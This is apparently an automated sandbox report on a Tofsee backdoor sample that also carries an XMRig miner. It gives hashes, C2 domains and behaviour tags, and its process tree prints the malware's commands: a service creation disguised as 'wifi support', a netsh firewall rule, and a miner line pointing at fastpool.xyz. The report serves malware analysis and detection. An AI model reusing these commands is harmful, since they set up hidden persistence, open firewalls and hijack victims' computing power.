Analysis

  • max time kernel
    142s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    26/10/2022, 12:14

General

  • Target

    file.exe

  • Size

    192KB

  • MD5

    e84412e1df23061845e100185a471bbe

  • SHA1

    fb9b8cf7e46d901094ad9c610637c95db2e9644e

  • SHA256

    313f19f727c2177dafa039021ff2c0006bfdd055419abce3267f076b7f1f3ecb

  • SHA512

    d9d77484ed314e7581831314b725dacb64515fbf78fcd785574011c0e793c2cfc84881075b68ba547b537313564869c310b160bbe54e2983cdebbac221e2b842

  • SSDEEP

    6144:kOO0pQqVWLiXJ+n/X2mwbTr4VjPQ0LFcn:5OwQwWmXJy2FTr4dy

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\imxxwrk\
      2⤵
        PID:1732
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jdtknlox.exe" C:\Windows\SysWOW64\imxxwrk\
        2⤵
          PID:1264
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create imxxwrk binPath= "C:\Windows\SysWOW64\imxxwrk\jdtknlox.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1464
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description imxxwrk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1824
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start imxxwrk
          2⤵
          • Launches sc.exe
          PID:648
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1536
      • C:\Windows\SysWOW64\imxxwrk\jdtknlox.exe
        C:\Windows\SysWOW64\imxxwrk\jdtknlox.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1152
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1072
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1548

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\jdtknlox.exe

              Filesize

              13.0MB

              MD5

              2d0f35606e3cb443ec642f7914ec26b3

              SHA1

              d0223d97845cec85b2a2229e20f791dd0c19718e

              SHA256

              a9baff8fc3c11b4455f3e62a94d821b3a480b01c0648da3a07a15a34bfcd1c6f

              SHA512

              a030026cf45110bd334ff1b6f04ea4b3533c79e4519ae918156c49ab9cfab7146cd350f87b61c80b6c864a3776004133c3860ead0b64761972cfd2b9b1d24f55

            • C:\Windows\SysWOW64\imxxwrk\jdtknlox.exe

              Filesize

              13.0MB

              MD5

              2d0f35606e3cb443ec642f7914ec26b3

              SHA1

              d0223d97845cec85b2a2229e20f791dd0c19718e

              SHA256

              a9baff8fc3c11b4455f3e62a94d821b3a480b01c0648da3a07a15a34bfcd1c6f

              SHA512

              a030026cf45110bd334ff1b6f04ea4b3533c79e4519ae918156c49ab9cfab7146cd350f87b61c80b6c864a3776004133c3860ead0b64761972cfd2b9b1d24f55

            • memory/1072-83-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

            • memory/1072-86-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/1072-98-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/1072-95-0x0000000000150000-0x0000000000157000-memory.dmp

              Filesize

              28KB

            • memory/1072-92-0x0000000005550000-0x000000000595B000-memory.dmp

              Filesize

              4.0MB

            • memory/1072-89-0x0000000000140000-0x0000000000145000-memory.dmp

              Filesize

              20KB

            • memory/1072-80-0x00000000019D0000-0x0000000001BDF000-memory.dmp

              Filesize

              2.1MB

            • memory/1072-79-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/1072-72-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/1072-70-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/1152-78-0x0000000000400000-0x000000000058E000-memory.dmp

              Filesize

              1.6MB

            • memory/1152-75-0x000000000064B000-0x000000000065C000-memory.dmp

              Filesize

              68KB

            • memory/1548-101-0x0000000000180000-0x0000000000271000-memory.dmp

              Filesize

              964KB

            • memory/1548-99-0x0000000000180000-0x0000000000271000-memory.dmp

              Filesize

              964KB

            • memory/1964-56-0x00000000006EB000-0x00000000006FC000-memory.dmp

              Filesize

              68KB

            • memory/1964-57-0x0000000000230000-0x0000000000243000-memory.dmp

              Filesize

              76KB

            • memory/1964-67-0x0000000000400000-0x000000000058E000-memory.dmp

              Filesize

              1.6MB

            • memory/1964-58-0x0000000000400000-0x000000000058E000-memory.dmp

              Filesize

              1.6MB

            • memory/1964-54-0x0000000076411000-0x0000000076413000-memory.dmp

              Filesize

              8KB

            • memory/1964-66-0x00000000006EB000-0x00000000006FC000-memory.dmp

              Filesize

              68KB